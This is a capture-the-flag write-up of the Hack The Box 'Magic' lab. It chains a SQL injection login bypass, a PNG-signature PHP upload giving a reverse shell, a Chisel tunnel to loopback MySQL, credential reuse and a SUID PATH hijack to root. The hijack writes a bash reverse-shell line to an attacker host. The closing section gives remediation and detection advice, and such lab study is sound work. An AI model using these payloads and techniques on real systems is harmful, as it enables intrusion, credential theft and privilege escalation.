Magic — SQL Injection and Magic-Byte Upload Bypass to SUID PATH Hijack
- Tools
- rustscan, nmap, feroxbuster, penelope, chisel, mysql, suid3num, strings
- Skill demonstrated
- Web application exploitation and Linux privilege escalation via a SUID PATH hijack
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Linux (Ubuntu 18.04); Apache httpd 2.4.29 hosting a PHP web application |
| Starting position | Unauthenticated network access |
| Objective | Move from unauthenticated web access through a SQL injection login bypass and a magic-byte upload evasion to root via a SUID binary PATH hijack |
| Outcome | www-data command execution; root context via the SUID /bin/sysinfo PATH hijack |
Summary
Section titled “Summary”Magic is a Medium-rated Hack The Box Linux lab whose PHP portfolio application exposes a SQL injection flaw in its login page, an upload panel that validates files by magic bytes, and a SUID binary that invokes system commands through PATH. Chaining these flaws turns unauthenticated web access into a root shell, without any software exploit beyond the injection and the local misconfiguration. Target, attacker, account, and secret values are replaced with role-based placeholders; command syntax is preserved.
Attack path: SQL injection login bypass → admin upload panel → PNG magic-byte upload evasion → www-data reverse shell → plaintext database credentials → Chisel-tunneled MySQL → admin credential recovery → password reuse for <LAB_USER> → SUID /bin/sysinfo PATH hijack → root
Context and Objective
Section titled “Context and Objective”- Target: Linux (Ubuntu 18.04) running Apache httpd 2.4.29 with a PHP web application.
- Exposed services: SSH (22) and HTTP (80).
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: convert a web application foothold into a stable shell, then follow exposed credentials and a privileged local binary to root.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a full TCP scan exposes two services.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/Magic-TCPTruncated scan output:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))|_http-title: Magic PortfolioSignificance: HTTP hosts the “Magic Portfolio” site, while SSH offers a remote shell but no credential path yet, so the web application is the initial attack surface. The banners identify the platform and web server versions.
Result: SSH and Apache HTTP are exposed on an Ubuntu host.
2. Web Content Discovery
Section titled “2. Web Content Discovery”Observation: directory enumeration uncovers a login page.
feroxbuster --url http://<TARGET_IP> --wordlist /usr/share/seclists/Discovery/Web-Content/common.txtTruncated discovery output:
http://<TARGET_IP>/login.phpSignificance: an authenticated login form gates the application’s privileged functionality.
Result: a login page is reachable at /login.php.
3. SQL Injection Authentication Bypass
Section titled “3. SQL Injection Authentication Bypass”Observation: the login form is vulnerable to SQL injection, so an authentication clause can be forced true.
Action:
' OR '1'='1Significance: a tautology payload defeats the login check when input is concatenated into a query instead of parameterized. The source records access to the admin panel and its upload page at /upload.php.
Result: the login check is bypassed and the upload page is reachable.
4. File Upload Restriction Bypass
Section titled “4. File Upload Restriction Bypass”Observation: the upload page accepts only image types (JPG, JPEG, PNG), judging by file magic bytes rather than extension alone.
Action: a PHP payload is wrapped with a PNG signature so it satisfies the content check.
python3 <FORGE_SCRIPT> forge --payload-file revshell.php -t png -o fakepic.php.pngWrote: fakepic.pngSignature: png (image/png)Payload bytes: 2585Total bytes: 2594Significance: validating content type by magic bytes alone does not prevent a polyglot file that is simultaneously a valid image and executable PHP.
Result: a PNG-signature file carrying the PHP payload is produced.
5. Reverse Shell
Section titled “5. Reverse Shell”Observation: once the forged file is reachable under the web root, requesting it executes the embedded PHP.
Action: start a handler, then request the uploaded file at http://<TARGET_IP>/images/uploads/fakepic.php.png.
penelope -p <LISTENER_PORT>www-data@<TARGET_HOST>Significance: the upload directory serves and executes PHP, so an uploaded file becomes code execution in the web server account.
Result: a reverse shell as www-data is obtained.
6. Database Configuration Disclosure
Section titled “6. Database Configuration Disclosure”Observation: the application configuration file stores database credentials in plaintext.
cat /var/www/Magic/db.php5private static $dbUsername = '<DB_USER>';private static $dbUserPassword = '<DB_PASSWORD>';The database listens only on loopback, so it is not directly reachable:
ss -tulpntcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*Significance: a plaintext database credential inside the web root is directly usable once the service becomes reachable; binding MySQL to 127.0.0.1 removes direct external access but not access from the host.
Result: database credentials are recovered, and the database is confirmed to listen only on loopback.
7. MySQL Tunneling via Chisel
Section titled “7. MySQL Tunneling via Chisel”Observation: because MySQL listens only on 127.0.0.1, a reverse tunnel forwards that port to the attack machine.
Action:
# On the attacker hostchisel server --reverse -p <CHISEL_PORT># On the target./chisel client <ATTACKER_HOST>:<CHISEL_PORT> R:13306:127.0.0.1:3306The tunneled service is then reachable locally:
mysql -h 127.0.0.1 -P 13306 -u <DB_USER> -pEnter password: <DB_PASSWORD>Significance: a reverse tunnel exposes a loopback-only service to the attack machine, turning a local-only database into a remote target without any firewall change.
Result: the tunneled MySQL instance is reachable and accepts the recovered database credentials.
8. Database Enumeration
Section titled “8. Database Enumeration”Observation: the application database contains an account table.
show databases;USE Magic;SHOW TABLES;DESCRIBE login;SELECT * FROM login;+----+----------+-----------------+| id | username | password |+----+----------+-----------------+| 1 | <ADMIN_USER> | <ADMIN_PASSWORD> |+----+----------+-----------------+Significance: the application stores account passwords in plaintext, so database access yields the administrative credential.
Result: the admin credential is recovered from the login table.
9. Lateral Movement to <LAB_USER>
Section titled “9. Lateral Movement to <LAB_USER>”Observation: the password recovered from the login table is reused for a system account.
su - <LAB_USER>Password: <ADMIN_PASSWORD><LAB_USER>@<TARGET_HOST>:~$Significance: reusing an application credential for a system account bridges database access and shell access, so a leaked application secret grants an interactive account.
Result: a shell as <LAB_USER> is obtained.
10. SUID Binary Discovery
Section titled “10. SUID Binary Discovery”Observation: SUID enumeration finds a non-standard setuid binary.
python3 suid3num.py[~] Custom SUID Binaries (Interesting Stuff)------------------------------/bin/sysinfo------------------------------Significance: a custom setuid binary runs with elevated privileges and is the most promising local escalation target.
Result: /bin/sysinfo is identified as a custom SUID binary.
11. PATH Hijack to Root
Section titled “11. PATH Hijack to Root”Observation: strings shows the binary invokes system utilities by bare name, relying on PATH.
strings /bin/sysinfo====================Hardware Info====================lshw -short====================Disk Info====================fdisk -l====================CPU Info====================cat /proc/cpuinfoAction: prepend a writable directory containing a malicious cat to PATH, then run the binary.
export PATH=/tmp:$PATHecho 'bash -c "bash -i >& /dev/tcp/<ATTACKER_HOST>/<LISTENER_PORT> 0>&1"' > /tmp/catchmod +x /tmp/catsysinforoot@<TARGET_HOST>:/#Significance: a setuid program that resolves commands through the inherited PATH executes whatever the caller places first, so a low-privileged account can supply a replacement binary and gain the program’s privileges.
Result: the callback returns a root shell, confirmed by the root prompt.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
MySQL listened only on 127.0.0.1 |
Forwarded the port over a Chisel reverse tunnel | The database is not directly reachable from the attack machine |
| Upload validation compared magic bytes, not extensions | Wrapped the PHP payload with a PNG signature | An extension rename alone would not satisfy the content check |
/bin/sysinfo invoked cat without an absolute path |
Prepended /tmp to PATH and supplied a cat replacement |
The binary resolves commands through the inherited PATH |
Outcome
Section titled “Outcome”The evidence establishes a root context on the target, reached from unauthenticated web access.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. These actions are recommendations; none was validated in the lab.
- SQL injection in the login form. User input reached the authentication query without parameterization, so a tautology payload authenticated as an administrator. Recommendation: use parameterized queries or prepared statements. Detection: alert on authentication requests containing SQL metacharacters.
- Upload validation by magic bytes only. The upload panel accepted a file based on its leading signature, so a PHP payload wrapped with a PNG header executed from the upload directory. Recommendation: validate extension and content together, store uploads outside the web root, and disable script execution in upload directories. Detection: monitor upload directories for newly written executable files.
- Plaintext database credentials in the application. The configuration file stored the database password in cleartext, yielding database access from a web foothold. Recommendation: keep secrets out of the web root and load them from a secrets manager or a restricted environment file. Detection: scan web-accessible files for credential-shaped strings.
- Credential reuse between tiers. An application account password also authenticated a system account. Recommendation: issue unique credentials per account and service. Detection: alert on a system account authenticating with a credential associated with an application.
- SUID binary resolving commands through
PATH./bin/sysinfoinvokedcatby name, so a caller-controlledPATHredirected execution. Recommendation: call external commands by absolute path in privileged binaries and resetPATHto a trusted value. Validation: inventory SUID binaries and review them for unqualified command invocations.
References
Section titled “References”- Hack The Box — Magic (retired machine)
- RustScan (fast port scanner wrapping Nmap)
- Nmap Reference Guide
- feroxbuster (content discovery)
- Penelope (reverse-shell handler)
- Chisel (TCP tunnel over HTTP)
- MySQL Client —
mysqlcommand - suid3num (SUID enumeration)
- GNU Binutils —
strings - OWASP — SQL Injection